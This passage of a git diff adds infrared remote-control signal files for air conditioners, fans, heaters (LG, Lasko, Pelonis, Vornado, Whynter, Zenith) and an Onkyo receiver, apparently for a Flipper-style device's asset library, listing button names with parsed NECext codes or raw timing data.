0E F1 00 00 +# +name: One_Touch +type: parsed +protocol: NECext +address: 01 FF 00 00 +command: 16 E9 00 00 +# +name: Sleep +type: parsed +protocol: NECext +address: 01 FF 00 00 +command: 0A F5 00 00 +# +name: Energy_Saver +type: parsed +protocol: NECext +address: 01 FF 00 00 +command: 0F F0 00 00 diff --git a/assets/resources/infrared/ACs/LG/LG_AC.ir b/assets/resources/infrared/ACs/LG/LG_AC.ir new file mode 100644 index 000000000..db3adfa8a --- /dev/null +++ b/assets/resources/infrared/ACs/LG/LG_AC.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 81 7E 00 00 +# +name: Temp Down +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 8A 75 00 00 +# +name: Temp Up +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 85 7A 00 00 +# +name: Fan Speed +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 99 66 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 9F 60 00 00 +# +name: Mode +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 9B 64 00 00 diff --git a/assets/resources/infrared/ACs/Lasko/Lasko_Fan.ir b/assets/resources/infrared/ACs/Lasko/Lasko_Fan.ir new file mode 100644 index 000000000..6580793b9 --- /dev/null +++ b/assets/resources/infrared/ACs/Lasko/Lasko_Fan.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1280 457 1229 426 468 1236 1282 456 1230 427 468 1236 470 1235 471 1235 471 1235 471 1235 492 1240 1289 7171 1290 422 1284 399 464 1238 1291 422 1284 399 464 1239 467 1238 468 1238 468 1238 489 1217 500 1233 1285 7176 1285 426 1280 403 471 1232 1286 426 1281 403 471 1232 464 1242 496 1210 496 1237 469 1236 470 1236 1282 7206 1286 399 1287 422 441 1262 1287 398 1288 449 435 1215 491 1241 465 1240 466 1240 466 1240 466 1240 1289 7199 1283 429 1257 426 469 1235 1283 428 1258 426 469 1234 473 1234 472 1234 472 1233 474 1233 463 1243 1306 7182 1289 448 1258 398 465 1238 1291 448 1258 425 438 1239 467 1238 468 1238 468 1237 490 1216 490 1242 1287 +# +name: Osc +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1289 448 1227 454 441 1238 1280 457 1228 454 441 1238 468 1239 1289 448 436 1215 491 1242 475 1233 473 8012 1281 457 1249 406 468 1237 1281 457 1260 396 467 1238 468 1239 1290 448 436 1242 475 1233 473 1234 472 8013 1291 421 1285 397 466 1238 1291 421 1285 398 465 1239 467 1240 1288 423 472 1233 473 1233 473 1234 472 8014 1289 449 1257 398 465 1239 1289 422 1284 398 465 1239 467 1240 1309 403 471 1233 473 1234 472 1235 471 8015 1309 402 1283 426 437 1241 1308 403 1283 427 436 1241 496 1237 1281 404 470 1235 471 1235 471 1236 491 8021 1282 402 1284 452 443 1235 1283 402 1284 452 443 1209 497 1236 1282 402 472 1233 463 1243 495 1212 494 8019 1284 427 1258 450 445 1233 1285 426 1259 450 444 1233 473 1233 1285 426 437 1240 497 1209 497 1236 470 8016 1288 450 1225 431 464 1241 1288 451 1255 402 472 1232 474 1232 1286 452 443 1235 523 1183 471 1235 471 +# +name: Speed +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1286 424 1251 430 465 1241 1287 423 1252 457 437 1241 465 1242 464 1243 474 1234 472 1235 1314 423 440 8017 1286 451 1255 401 462 1242 1286 452 1254 402 472 1232 474 1233 473 1234 472 1234 493 1241 1287 424 439 8014 1289 422 1284 426 437 1241 1287 451 1255 403 471 1234 472 1234 472 1235 492 1215 491 1242 1286 399 464 8018 1285 426 1280 403 471 1234 1284 454 1252 404 470 1235 471 1236 491 1215 491 1243 526 1181 1285 427 436 8019 1315 423 1262 395 468 1236 1313 400 1286 424 439 1238 489 1218 499 1235 471 1236 470 1236 1282 430 464 8019 1284 401 1284 426 468 1236 1282 404 1281 456 438 1240 466 1240 466 1241 465 1241 465 1242 1286 426 468 8015 1288 424 1261 448 436 1242 1286 426 1259 451 444 1234 472 1234 472 1235 471 1235 471 1236 1282 456 438 diff --git a/assets/resources/infrared/ACs/Lasko/Lasko_Fan_Simple.ir b/assets/resources/infrared/ACs/Lasko/Lasko_Fan_Simple.ir new file mode 100644 index 000000000..1e65e7b40 --- /dev/null +++ b/assets/resources/infrared/ACs/Lasko/Lasko_Fan_Simple.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9090 4295 561 1708 570 561 563 569 565 567 567 565 569 563 561 570 564 568 566 565 569 1701 567 1702 566 1703 565 1705 563 1706 562 1707 561 1708 570 1699 569 1700 568 564 570 562 562 570 564 567 567 565 569 1700 568 563 591 563 561 1708 571 1699 569 1700 568 1702 566 1703 565 565 569 40667 9086 2139 562 97339 9092 2132 569 +# +name: Timer +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9092 4292 563 1732 536 569 565 567 567 591 543 589 534 597 537 595 539 566 568 564 570 1699 569 1700 568 1702 566 1703 565 1705 563 1707 561 1708 570 1700 568 1701 567 591 543 1700 568 564 570 588 535 570 564 1732 556 571 563 568 566 1703 565 567 567 1702 566 1703 565 1705 563 567 567 40657 9086 2135 566 +# +name: Speed +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9091 4292 564 1706 562 569 565 567 567 565 569 562 561 570 564 568 566 565 569 562 561 1708 570 1698 570 1700 568 1728 540 1703 565 1705 563 1706 562 1708 570 1699 569 1700 568 563 571 561 562 569 565 566 568 1701 587 566 568 563 571 561 562 1706 562 1707 561 1708 570 1699 569 562 561 diff --git a/assets/resources/infrared/ACs/Lasko/Lasko_Heater.ir b/assets/resources/infrared/ACs/Lasko/Lasko_Heater.ir new file mode 100644 index 000000000..e03581787 --- /dev/null +++ b/assets/resources/infrared/ACs/Lasko/Lasko_Heater.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1282 430 1260 427 412 1272 1258 428 1251 435 415 1270 409 1275 415 1269 410 1274 416 1269 410 1274 1256 7299 1278 435 1255 431 408 1276 1254 433 1257 429 410 1274 416 1268 411 1273 417 1267 412 1246 433 1251 1279 7301 1286 427 1252 434 416 1268 1251 435 1255 431 408 1276 414 1270 409 1275 415 1269 410 1274 416 1242 1288 7293 1284 429 1250 436 414 1269 1261 426 1253 433 406 1277 413 1245 434 1249 441 1244 435 1249 441 1270 1260 7294 1283 430 1260 426 413 1270 1260 427 1252 434 416 1267 412 1272 407 1251 439 1246 433 1251 439 1245 1285 7295 1281 432 1258 428 411 1272 1258 429 1250 436 414 1269 410 1274 416 1242 437 1248 442 1242 437 1247 1283 +# +name: High +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1284 430 1260 428 411 1272 1258 431 1259 428 411 1273 417 1242 490 1195 495 1191 1286 402 437 1273 417 8139 1287 427 1252 434 416 1268 1262 427 1252 434 416 1268 411 1248 442 1243 436 1249 1280 433 417 1268 411 8144 1283 432 1258 429 410 1273 1257 431 1259 428 411 1273 417 1242 437 1248 442 1243 1287 427 412 1272 407 8148 1278 435 1255 433 406 1277 1253 435 1255 432 407 1277 413 1272 407 1251 439 1246 1283 431 408 1276 414 8141 1286 428 1251 435 415 1270 1260 427 1252 435 415 1269 410 1274 416 1269 410 1275 1255 432 407 1278 412 8143 1284 429 1250 436 414 1271 1259 428 1251 435 415 1270 409 1249 441 1270 409 1276 1254 433 406 1278 412 8143 1284 429 1261 426 413 1271 1259 402 1278 435 415 1270 409 1249 441 1271 408 1250 1280 433 417 1268 412 8143 1284 402 1278 435 415 1270 1260 427 1253 434 416 1269 410 1274 416 1242 437 1248 1282 431 408 1276 414 8141 1286 426 1254 433 417 1268 1252 435 1255 432 407 1277 413 1271 408 1277 413 1272 1258 429 411 1274 416 8138 1278 434 1256 430 409 1276 1254 432 1258 429 410 1274 416 1269 410 1275 415 1270 1260 426 414 1271 408 8146 1281 432 1258 428 412 1273 1257 430 1260 426 413 1271 408 1276 414 1271 408 1276 1254 434 416 1268 411 8142 1285 428 1251 435 415 1269 1261 426 1254 433 406 1278 412 1272 407 1278 412 1272 1258 429 410 1275 415 8139 1277 435 1255 432 407 1277 1253 434 1256 430 409 1275 415 1270 409 1275 415 1270 1259 427 412 1273 406 8147 1280 433 1257 430 409 1275 1255 431 1259 428 411 1273 406 1278 412 1273 417 1267 1252 435 415 1270 409 8144 1283 430 1260 426 413 1271 1259 428 1251 435 415 1269 410 1275 415 1269 410 1274 1256 432 407 1277 413 8140 1287 426 1253 433 406 1278 1252 435 1255 431 408 1276 414 1271 408 1276 414 1271 1259 428 411 1273 417 8137 1279 433 1257 430 409 1275 1255 432 1258 428 411 1273 417 1267 412 1272 407 1278 1252 434 416 1269 410 8142 1285 428 1252 435 415 1269 1250 436 1254 432 407 1277 413 1271 408 1277 413 1271 1259 428 412 1273 406 +# +name: Low +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1284 402 1278 408 442 1243 1287 399 1280 432 408 1251 439 1245 434 1250 440 1245 434 1276 1254 433 406 8146 1281 406 1284 429 410 1273 1257 430 1260 427 412 1271 408 1276 414 1271 408 1276 414 1271 1259 428 411 8141 1285 427 1252 435 415 1269 1261 426 1253 433 406 1278 412 1272 407 1277 413 1272 407 1277 1252 435 415 8137 1279 435 1255 431 408 1276 1254 433 1257 429 410 1274 416 1269 410 1274 416 1269 410 1274 1256 431 408 8144 1283 431 1259 427 412 1272 1258 429 1250 436 414 1270 409 1276 414 1270 409 1275 415 1270 1259 427 412 8140 1286 427 1252 434 416 1268 1251 436 1254 432 407 1277 413 1271 408 1276 414 1271 408 1276 1254 433 406 8146 1280 432 1258 429 410 1274 1256 430 1260 427 412 1271 408 1276 414 1271 408 1276 414 1271 1259 428 412 8140 1287 426 1253 433 407 1277 1253 434 1256 430 409 1275 415 1269 410 1248 442 1269 410 1274 1256 431 408 8143 1284 429 1250 436 414 1244 1286 426 1254 433 407 1278 412 1246 433 1277 413 1271 408 1250 1280 433 407 8145 1282 405 1285 427 413 1245 1285 402 1278 434 416 1243 436 1248 442 1242 438 1247 443 1241 1278 408 442 8136 1280 406 1284 402 438 1247 1283 403 1287 399 440 1244 435 1249 441 1244 435 1249 441 1244 1286 399 440 8138 1278 408 1282 431 408 1249 1281 432 1258 428 412 1246 434 1251 439 1245 434 1250 440 1245 1285 427 413 8139 1288 399 1280 405 434 1276 1254 432 1258 428 412 1273 406 1251 439 1245 434 1250 440 1245 1285 427 413 8139 1277 409 1281 431 408 1250 1280 432 1258 428 412 1272 407 1251 439 1245 434 1250 440 1245 1285 427 413 8139 1277 409 1281 405 434 1249 1281 405 1285 428 412 1246 433 1251 439 1245 434 1250 440 1245 1285 400 439 8139 1278 408 1282 431 408 1249 1281 432 1258 401 439 1246 434 1251 439 1245 434 1250 440 1245 1285 427 413 +# +name: Temp_up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1282 431 1259 427 413 1272 1258 428 1251 435 415 1270 409 1275 1255 431 408 1250 440 1245 434 1276 414 8139 1277 408 1282 431 408 1276 1254 432 1258 428 412 1273 407 1251 1279 433 417 1241 439 1272 407 1251 439 8139 1288 399 1281 431 408 1250 1280 432 1258 401 439 1246 434 1251 1279 406 434 1251 439 1245 434 1250 440 8138 1279 408 1282 404 435 1249 1281 431 1259 400 439 1245 434 1250 1280 406 434 1277 413 1245 434 1250 440 8138 1278 408 1282 404 435 1249 1281 404 1286 400 439 1245 434 1250 1280 432 407 1277 413 1244 435 1276 414 8137 1279 407 1283 402 438 1247 1283 403 1277 436 414 1244 435 1249 1281 405 434 1249 441 1244 435 1249 441 8137 1279 433 1257 429 410 1274 1256 429 1261 425 414 1270 409 1275 1255 431 408 1276 414 1270 409 1275 415 8137 1279 406 1284 429 410 1273 1257 430 1260 426 413 1270 409 1275 1255 432 407 1276 414 1270 409 1249 441 +# +name: Temp_down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1277 435 1255 431 408 1275 1255 431 1259 427 413 1271 1259 427 413 1271 408 1250 440 1244 435 1249 441 8136 1280 405 1285 427 413 1245 1285 427 1253 433 407 1277 1253 432 408 1250 440 1244 435 1249 441 1243 436 8140 1287 399 1281 405 434 1275 1255 431 1259 426 413 1244 1286 426 413 1244 435 1249 441 1243 436 1247 443 8134 1282 403 1276 435 415 1243 1276 435 1255 431 408 1249 1281 431 408 1275 415 1243 436 1248 442 1242 437 8138 1278 433 1257 402 438 1246 1284 428 1252 433 417 1267 1252 433 407 1250 440 1271 408 1249 441 1243 436 8139 1277 408 1282 430 409 1248 1282 430 1260 425 414 1270 1260 425 414 1243 436 1248 442 1242 437 1246 434 8142 1285 401 1279 433 407 1250 1280 432 1258 427 413 1245 1285 427 412 1271 408 1249 441 1243 436 1247 443 8132 1284 401 1279 433 407 1251 1279 432 1258 428 412 1271 1259 427 413 1244 435 1249 441 1243 436 1247 443 8132 1284 401 1279 433 407 1277 1253 432 1258 428 412 1245 1285 427 412 1244 435 1249 441 1243 436 1247 443 8132 1284 401 1279 433 407 1277 1253 432 1258 428 412 1245 1285 427 413 1271 408 1249 441 1243 436 1248 442 8134 1282 403 1276 435 415 1268 1251 434 1256 430 409 1274 1256 429 410 1274 416 1267 413 1271 408 1249 441 8135 1281 404 1286 426 413 1244 1286 426 1253 432 407 1276 1254 431 408 1276 414 1269 410 1248 442 1242 437 8138 1278 407 1283 429 411 1273 1257 428 1251 434 416 1267 1252 433 407 1277 413 1244 435 1249 440 1243 436 8139 1277 408 1282 429 410 1273 1257 429 1250 435 415 1269 1250 434 416 1242 438 1246 433 1250 440 1244 435 8139 1277 408 1282 403 436 1248 1282 403 1277 435 415 1243 1276 408 442 1242 437 1247 433 1251 439 1244 435 8140 1287 399 1280 431 408 1249 1281 431 1259 426 413 1244 1286 425 414 1243 436 1248 442 1242 438 1246 433 8141 1286 399 1281 431 408 1249 1281 430 1260 426 413 1244 1286 425 414 1243 436 1248 442 1241 439 1246 433 8141 1286 399 1281 405 434 1276 1254 431 1259 426 413 1271 1259 426 413 1244 435 1248 442 1242 437 1247 443 +# +name: Rotate +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1282 430 1260 427 412 1271 1259 427 1252 434 416 1268 411 1272 407 1277 1253 433 417 1267 412 1272 407 8144 1282 429 1250 436 414 1270 1260 426 1253 433 406 1277 413 1244 435 1276 1254 432 407 1276 414 1270 409 8142 1284 401 1278 434 416 1267 1252 434 1256 430 409 1247 443 1268 411 1272 1258 428 411 1273 406 1277 413 8138 1278 434 1256 430 409 1274 1256 430 1260 426 413 1270 409 1275 415 1269 1250 436 414 1270 409 1275 415 8136 1280 432 1258 428 411 1272 1258 428 1251 435 415 1268 411 1273 417 1267 1252 434 416 1268 411 1272 407 8144 1282 429 1261 426 413 1270 1260 426 1253 432 407 1276 414 1271 408 1275 1255 432 407 1276 414 1270 409 8142 1284 427 1252 434 416 1267 1252 434 1256 430 409 1274 416 1268 411 1273 1256 430 409 1274 416 1268 411 8140 1286 425 1254 432 407 1276 1254 432 1258 428 411 1272 407 1277 413 1271 1259 427 412 1272 407 1276 414 8137 1279 432 1258 429 410 1273 1257 429 1250 436 414 1243 436 1273 417 1268 1251 434 416 1268 411 1272 407 8143 1283 428 1251 434 416 1268 1251 434 1256 430 409 1274 416 1267 412 1272 1258 428 411 1272 407 1277 413 8137 1279 433 1257 429 410 1273 1257 428 1251 435 415 1268 411 1272 407 1277 1253 433 406 1277 413 1271 408 8142 1284 427 1252 434 416 1267 1252 433 1257 429 410 1273 417 1267 412 1271 1259 427 412 1271 408 1276 414 8136 1280 432 1258 429 410 1273 1257 429 1250 435 415 1268 411 1273 406 1277 1253 433 417 1267 412 1271 408 8142 1284 427 1252 434 416 1267 1252 434 1256 430 409 1273 417 1267 412 1272 1258 428 412 1272 407 1276 414 8136 1280 432 1258 428 412 1272 1258 428 1251 434 416 1267 412 1272 407 1250 1280 432 407 1277 413 1271 408 8142 1284 427 1252 433 406 1277 1253 433 1257 429 410 1273 417 1267 412 1271 1259 428 411 1272 407 1276 414 8136 1280 432 1258 428 412 1272 1258 428 1251 434 416 1267 412 1271 408 1276 1254 432 407 1276 414 1270 409 8141 1285 426 1253 432 407 1276 1254 432 1258 428 411 1272 407 1276 414 1270 1260 427 412 1271 408 1275 415 diff --git a/assets/resources/infrared/ACs/Pelonis_PFS40D6ABB.ir b/assets/resources/infrared/ACs/Pelonis_PFS40D6ABB.ir new file mode 100644 index 000000000..961a6e6da --- /dev/null +++ b/assets/resources/infrared/ACs/Pelonis_PFS40D6ABB.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8982 4433 598 1657 570 519 594 547 566 522 591 549 575 540 573 541 572 542 571 543 570 1659 568 1635 592 1637 600 1655 572 1657 570 1660 566 1636 601 1654 572 1630 597 517 596 545 568 520 593 547 566 548 576 539 574 540 573 540 573 1629 598 1631 596 1633 593 1635 592 1637 600 1629 597 1631 596 1633 593 521 592 522 591 549 575 540 573 514 599 542 571 543 570 544 569 1659 568 1635 592 1637 600 1628 598 1630 597 1632 595 +# +name: Speed_Step +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8993 4428 593 1636 601 513 600 515 598 543 570 544 569 545 568 520 593 548 565 549 575 1628 598 1631 596 1633 593 1663 574 1628 598 1631 596 1633 593 1636 601 1628 598 1631 596 518 595 519 594 548 565 549 575 540 573 541 572 543 570 544 569 1634 592 1637 600 1629 598 1632 595 1635 592 1637 600 1630 597 1659 567 520 593 548 565 549 575 540 573 541 572 516 597 544 569 519 594 1635 592 1637 600 1655 572 1631 596 1633 594 +# +name: Rotate_Toggle +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8982 4437 594 1661 576 512 601 514 599 516 597 544 569 545 568 546 567 548 576 513 600 1630 597 1633 593 1637 600 1630 597 1633 593 1636 601 1628 598 1632 595 1635 592 523 601 514 599 1630 597 518 595 546 567 522 591 549 575 541 572 1631 596 1634 593 522 602 1654 572 1631 596 1635 592 1638 599 1631 596 519 594 520 593 1637 600 515 598 543 570 518 595 546 567 547 566 1637 600 1630 597 545 568 1635 592 1637 600 1630 597 +# +name: Timer +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8990 4430 601 1628 598 517 596 519 594 547 566 549 574 540 573 542 571 544 569 546 567 1663 574 1628 598 1658 568 1662 575 1654 572 1658 568 1660 566 1663 574 1656 570 544 569 1660 566 548 575 539 574 541 572 542 571 544 569 545 568 1662 575 539 574 1656 570 1658 568 1661 565 1664 573 1656 570 1659 567 548 565 1664 573 542 571 543 570 545 568 546 567 548 565 549 574 1655 571 543 570 1659 567 1661 576 1628 598 1658 568 diff --git a/assets/resources/infrared/ACs/Vornado/Vornado.ir b/assets/resources/infrared/ACs/Vornado/Vornado.ir new file mode 100644 index 000000000..70997b08d --- /dev/null +++ b/assets/resources/infrared/ACs/Vornado/Vornado.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1347 405 1322 422 410 1332 1300 448 1289 480 383 1303 445 1298 439 1331 417 1299 438 1332 416 1302 1320 6834 1292 456 1292 450 413 1304 1328 445 1292 452 411 1302 446 1297 440 1303 445 1298 439 1303 445 1301 1321 6806 1320 453 1295 422 441 1301 1321 454 1294 422 441 1301 436 1305 443 1300 448 1295 442 1301 447 1298 1324 6802 1324 451 1297 420 443 1299 1323 424 1324 419 444 1298 439 1304 444 1298 439 1304 444 1299 438 1306 1326 6815 1321 453 1295 421 442 1302 1320 426 1322 421 442 1301 436 1306 442 1301 447 1296 441 1301 447 1299 1323 6802 1324 424 1324 418 445 1300 1322 424 1324 419 444 1298 439 1304 444 1299 438 1304 444 1299 438 1306 1326 6809 1328 420 1317 424 439 1306 1326 419 1318 424 439 1304 444 1299 438 1305 443 1299 438 1305 443 1302 1320 +# +name: Speed +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1321 456 1292 453 410 1334 1319 428 1288 454 409 1332 416 1353 384 1359 389 1354 383 1335 1297 476 387 7681 1329 474 1263 452 411 1304 1328 447 1290 479 384 1303 444 1299 438 1304 444 1300 437 1307 1325 473 390 7680 1320 455 1292 450 413 1303 1329 445 1292 451 412 1301 447 1296 441 1302 446 1297 440 1305 1327 445 418 7679 1321 479 1269 448 415 1301 1321 454 1294 422 441 1299 438 1305 443 1300 448 1295 442 1303 1319 454 409 7703 1328 445 1292 451 412 1304 1328 446 1291 424 439 1303 445 1297 440 1303 445 1298 439 1306 1326 419 444 7680 1320 454 1294 449 414 1302 1320 455 1293 422 441 1301 447 1296 441 1301 447 1296 441 1304 1328 417 436 7688 1322 452 1296 420 443 1300 1322 426 1322 420 443 1299 438 1304 444 1299 438 1304 444 1302 1320 425 438 7686 1324 450 1298 418 445 1298 1324 424 1324 418 445 1297 440 1302 446 1297 440 1302 445 1300 1321 451 412 7684 1326 448 1300 417 436 1306 1326 422 1326 416 437 1306 442 1300 448 1295 442 1301 447 1298 1324 422 441 7682 1328 446 1291 426 437 1305 1327 420 1317 425 438 1304 444 1299 438 1304 444 1299 438 1307 1325 420 443 +# +name: Timer +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1296 454 1294 422 441 1304 1318 427 1321 422 441 1302 446 1297 440 1305 1317 426 437 1306 442 1301 436 7690 1321 424 1324 419 444 1301 1321 424 1324 420 443 1299 438 1304 444 1302 1320 423 440 1302 446 1297 440 7686 1325 420 1317 426 437 1308 1324 420 1317 426 437 1305 443 1300 437 1308 1324 419 444 1298 439 1304 444 7682 1318 427 1321 422 441 1304 1318 427 1321 423 471 1271 466 1277 471 1274 1317 427 467 1275 472 1270 467 7675 1325 420 1317 426 468 1277 1324 421 1316 427 436 1306 442 1301 467 1278 1323 420 443 1300 437 1305 474 7653 1316 429 1319 425 438 1306 1326 420 1317 425 438 1305 443 1300 437 1308 1324 419 444 1298 439 1304 443 7682 1318 427 1321 423 440 1305 1317 428 1320 423 471 1272 465 1277 439 1306 1316 427 467 1276 440 1302 446 7680 1320 426 1322 421 473 1272 1318 426 1322 422 472 1270 467 1276 472 1273 1317 426 468 1274 474 1269 468 7658 1321 424 1324 420 464 1281 1320 425 1354 389 464 1279 469 1274 474 1272 1318 424 470 1273 464 1279 468 7657 1322 423 1325 418 466 1280 1352 392 1345 400 463 1278 469 1273 464 1281 1351 394 469 1271 466 1277 470 7656 1323 422 1315 427 467 1278 1344 401 1347 399 464 1276 471 1272 465 1280 1321 422 472 1270 467 1276 472 7654 1325 421 1316 426 437 1308 1324 421 1316 427 436 1307 441 1302 445 1299 1323 421 442 1300 468 1274 474 diff --git a/assets/resources/infrared/ACs/Whynter/Whynter_AC.ir b/assets/resources/infrared/ACs/Whynter/Whynter_AC.ir new file mode 100644 index 000000000..01c00ea61 --- /dev/null +++ b/assets/resources/infrared/ACs/Whynter/Whynter_AC.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: Power_on +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 782 708 2923 2885 777 2176 748 2232 775 2152 782 736 752 2176 779 711 777 2179 776 2178 746 2181 774 744 754 737 771 720 778 713 775 716 782 737 751 740 779 712 828 717 833 657 779 713 775 2180 775 716 782 2173 772 720 778 2177 778 713 775 2180 775 716 772 2183 751 740 748 2180 775 715 835 +# +name: Power_off +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 781 710 2930 2876 775 716 781 735 752 2175 779 711 776 2177 746 745 773 2232 753 2173 749 768 750 2177 745 745 773 743 754 737 750 741 746 744 754 737 771 746 751 739 748 2178 776 742 755 2172 771 719 778 2227 747 744 754 2200 754 737 750 2203 751 741 746 2181 773 744 753 737 750 741 746 +# +name: Auto +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 752 739 2922 2911 729 2173 780 2173 749 2204 750 742 755 2172 782 736 751 2229 745 2208 756 2172 771 746 751 740 747 744 753 738 749 742 776 741 746 746 751 739 748 744 774 2179 754 738 749 2206 747 743 754 2225 780 738 749 2178 775 716 781 2173 749 742 776 2179 754 737 750 742 776 742 745 +# +name: AC +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 753 739 2922 2910 720 2182 824 2182 751 2176 778 739 748 2179 775 2179 754 2173 781 2173 749 742 776 741 746 745 753 738 749 742 776 715 772 745 752 739 748 795 754 737 750 2203 751 741 746 2182 772 745 752 2176 778 739 748 2180 774 744 753 2174 748 743 775 2179 754 2200 754 764 775 742 756 +# +name: Humidifier +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 774 717 2923 2883 778 2175 747 2206 748 2180 753 738 770 2183 750 742 745 2208 808 2171 751 766 752 739 748 2179 775 742 755 736 751 740 747 744 753 737 771 747 750 741 746 2180 774 744 753 2174 780 712 775 2179 806 738 749 2205 749 742 745 2209 755 736 751 2177 777 2177 745 2208 756 736 751 +# +name: Fan +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 779 712 2928 2877 773 2180 753 739 748 2205 748 743 754 2199 755 736 751 2176 777 2229 755 735 752 2202 751 740 747 744 753 738 770 722 775 742 755 736 751 740 747 744 774 2179 754 738 770 2184 749 743 754 2199 754 737 802 2178 775 743 754 2173 749 742 776 742 755 736 751 740 747 745 752 +# +name: Fan_speed +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 755 710 2951 2859 781 2175 779 713 785 2172 771 721 776 2179 754 738 770 2159 784 2172 782 709 778 2231 754 738 780 712 775 717 780 711 776 743 755 738 780 711 776 716 781 2176 778 714 783 2174 780 712 775 2182 751 741 777 2179 754 790 801 2128 784 708 779 740 757 735 752 740 778 714 836 +# +name: Down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 775 718 2933 2878 773 2183 750 2179 775 2207 778 742 756 2172 782 2175 779 2150 783 737 750 743 775 743 755 764 723 743 755 738 749 743 776 744 754 739 748 744 754 739 779 2229 756 736 751 2178 776 744 754 2176 778 716 782 2174 780 740 747 2182 751 742 776 2179 754 2176 778 742 756 2174 780 +# +name: Up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 746 745 2927 2882 748 2180 774 2207 778 2202 752 740 747 2181 752 2229 725 2203 751 2204 729 736 772 747 751 741 746 745 753 739 748 743 776 742 756 736 751 740 747 745 805 2202 752 740 747 2181 773 746 752 2176 778 715 772 2182 772 720 777 2177 746 746 772 2182 751 2178 776 742 756 736 803 diff --git a/assets/resources/infrared/ACs/Zenith/Zenith_AC.ir b/assets/resources/infrared/ACs/Zenith/Zenith_AC.ir new file mode 100644 index 000000000..3961eecab --- /dev/null +++ b/assets/resources/infrared/ACs/Zenith/Zenith_AC.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 81 7E 00 00 +# +name: Temp_down +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 8A 75 00 00 +# +name: Temp_up +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 85 7A 00 00 +# +name: Fan_speed +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 99 66 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 9F 60 00 00 +# +name: Mode +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 9B 64 00 00 +# +name: Energy_saver +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 82 7D 00 00 diff --git a/assets/resources/infrared/Audio Receivers/Onkyo/Onkyo.ir b/assets/resources/infrared/Audio Receivers/Onkyo/Onkyo.ir new file mode 100644 index 000000000..a207d4051 --- /dev/null +++ b/assets/resources/infrared/Audio Receivers/Onkyo/Onkyo.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: CB 34 00 00 +# +name: Bluray +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 8C 73 00 00 +# +name: Cbl_sat +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E F1 00 00 +# +name: Game +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D F2 00 00 +# +name: Streambox +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0C F3 00 00 +# +name: Pc +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9C 63 00 00 +# +name: Aux +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9F 60 00 00 +# +name: Cd +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 09 F6 00 00 +# +name: Tv +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 48 B7 00 00 +# +name: Phono +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0A F5 00 00 +# +name: Tuner +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0B F4 00 00 +# +name: Ble +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 0E 00 00 +# +name: Settings +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: DB 24 00 00 +# +name: Info +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 55 AA 00 00 +# +name: Back +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 54 AB 00 00 +# +name: Quick_menu +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 53 AC 00 00 +# +name: Up +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 82 7D 00 00 +# +name: Down +type: parsed 